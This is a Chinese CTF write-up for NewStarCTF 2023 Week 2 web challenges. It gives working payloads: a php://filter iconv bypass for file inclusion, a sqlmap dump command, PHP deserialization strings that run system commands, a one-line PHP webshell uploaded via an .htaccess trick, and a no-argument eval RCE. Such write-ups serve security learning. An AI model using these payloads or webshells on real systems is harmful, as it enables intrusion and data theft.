2023NewStarCtf [WEEK2] web 方向超详细wp(题目+思路+拓展知识点)

1、游戏高手

这里需要修改前端js文件,用变量覆盖修改gamescore的值,使得判定为大于100000分。

如果不清楚修改js文件的具体步骤参考这个链接:

使用 firefox 运行时更改 javascript 变量值_如何修改火狐html变量值-CSDN博客

步骤:火狐找到调试器下的js文件,在里面gamescore这一行打断点(点一下347那行的开头就行),然后点击开始游戏,游戏会在打中目标的时候停在断点处,这时候点击控制台,在里面写入gameScore=99999999999然后回车,就相当于给这里的gamescore赋值了99999999999,然后点击左上角这个运行,回到调试器把鼠标移到gamescore上面看看有没有赋值成功,然后点击运行,就能弹出flag

2、include 0。0

 题目:

 <?php
highlight_file(__FILE__);
// FLAG in the flag.php
$file = $_GET['file'];
if(isset($file) && !preg_match('/base|rot/i',$file)){
    @include($file);
}else{
    die("nope");
}
?> nope

典型的文件包含题,这里过滤了base64和rot13,我用的payload是:

?file=php://filter/convert.iconv.utf-8.utf-7/resource=flag.php

 

把+AHs-和+AH0删掉替换成{},就是flag了

原理:使用其他的过滤器convert.iconv.* 绕过(php://filter中的各种过滤器)

 使用方法:convert.iconv.<input-encoding>.<output-encoding> 或者 convert.iconv.<input-encoding>/<output-encoding>

这里的<input-encoding>和<output-encoding>分别为输入的字符串编码方式和输出的字符

3、ez_sql

sqlmap就能出,payload:

sqlmap -u 'http://73be49a6-4f58-4bc9-b1f6-0c8daae72f49.node4.buuoj.cn:81/?id=1' -D 'ctf' -T 'here_is_flag' -C 'flag'  --dump   

 4、Unserialize?

题目如下:

 <?php
highlight_file(__FILE__);
// Maybe you need learn some knowledge about deserialize?
class evil {
    private $cmd;

    public function __destruct()
    {
        if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
            @system($this->cmd);
        }
    }
}

@unserialize($_POST['unser']);
?> 

很简单的一个反序列化,用ls -al命令查询一下当前目录文件

 <?php
class evil {
    private $cmd=('ls -al');
}
$a=new evil();
echo serialize($a);
?> 

PHP 序列化的时候 private和 protected 变量会引入不可见字符%00,private是%00类名%00属性名 ,protected为%00*%00属性名 ,注意这两个 %00就是 ascii 码0的字符。这个字符显示和输出可能看不到,甚至导致截断(无法复制),但是url编码后就可以看得清楚.。

下面长得很像麻将的两个就是ascii 码0的字符

因为是private,序列化出来后会有%00属性导致无法完全复制去burp,而且传参里也不能有空格,应该用%20或者‘+’链接因为最后使用post传参可以识别url编码,所以把空格处替换为%20,payload:

 O:4:"evil":1:{s:9:"%00evil%00cmd";s:6:"ls%20-al";} 

回显成功,但是当前目录文件显示只有一个index文件,没有flag相关文件,这里我们可以查看下上级目录下的所有文件system(ls ..),发现上级目录是html,猜测flag文件在根目录下,而linux中查询根目录下文件的命令为ls /,一试就找到th1s_1s_fffflllll4444aaaggggg文件:

O:4:"evil":1:{s:9:"%00evil%00cmd";s:4:"ls%20/";} 

读取flag,最终payload为:

O:4:"evil":1:{s:9:"%00evil%00cmd";s:33:"nl%20/th1s_1s_fffflllll4444aaaggggg";} 

5、Upload again!

这里发现服务器把php4,phtml这些后缀都过滤了,但是.htaccess上传成功,这里考的应该是.htccess解析漏洞。

原理在此:https://blog.csdn.net/sorryagain/article/details/125080205

简而言之,.htaccess文件的作用域为其所在目录与其所有的子目录,若是子目录也存在.htaccess文件,则会覆盖父目录的.htaccess效果。所以我们可以先上传一个.htaccess文件,里面写入代码告诉服务器将 .jpg 后缀的文件解析为 PHP 脚本,然后上传.jpg格式的图片马

步骤:建一个txt里面写入:

AddType application/x-httpd-php .jpg

然后改名为.htaccess注意不要在.前面加东西,.htaccess是一个固定文件

然后随便找一个.jpg后缀的图片,用notepad打开,写入一句话木马:

<script language="php">eval($_REQUEST[1])</script>

先上传.htaccess开路,后上传图片马,然后链接蚁剑在根目录下找到flag

6、R!!C!!E!!

点进去注意到or you wanna to find some leaked information?

leaked information翻译过来就是信息泄露,第一时间想到的是git文件泄露,使用githack得到过滤条件

<?php
 highlight_file(__FILE__);
 if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) { if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star']))
{ eval($_GET['star']); }
 }

if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star']))这是一个非常典型的无参数rce题目,这里的正则表达式 [^\W]+\((?R)?\) 匹配了一个或多个非标点符号字符(表示函数名),后跟一个括号(表示函数调用)。其中 (?R) 是递归引用,它只能匹配和替换嵌套的函数调用,而不能处理函数参数。使用该正则表达式进行替换后,每个函数调用都会被删除,只剩下一个分号 ;,而最终结果强等于;时,payload才能进行下一步。简而言之,无参数rce就是不使用参数,而只使用一个个函数最终达到目的。

这里的payload是:

/bo0g1pop.php?star=eval(next(getallheaders()));

getallheaders() 函数用于从 HTTP 请求头中获取所有的头信息,然后调用 next() 函数返回数组中的下一个元素,并将其作为参数传递给 eval() 函数来执行 

然后发现只有UA头的消息回显了,所以我懒得找别的方法选择改ua头:

system("la /");

查找根目录文件

最后使用cat /flag读取flag,payload如下:

system("cat /flag");

  • 4
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值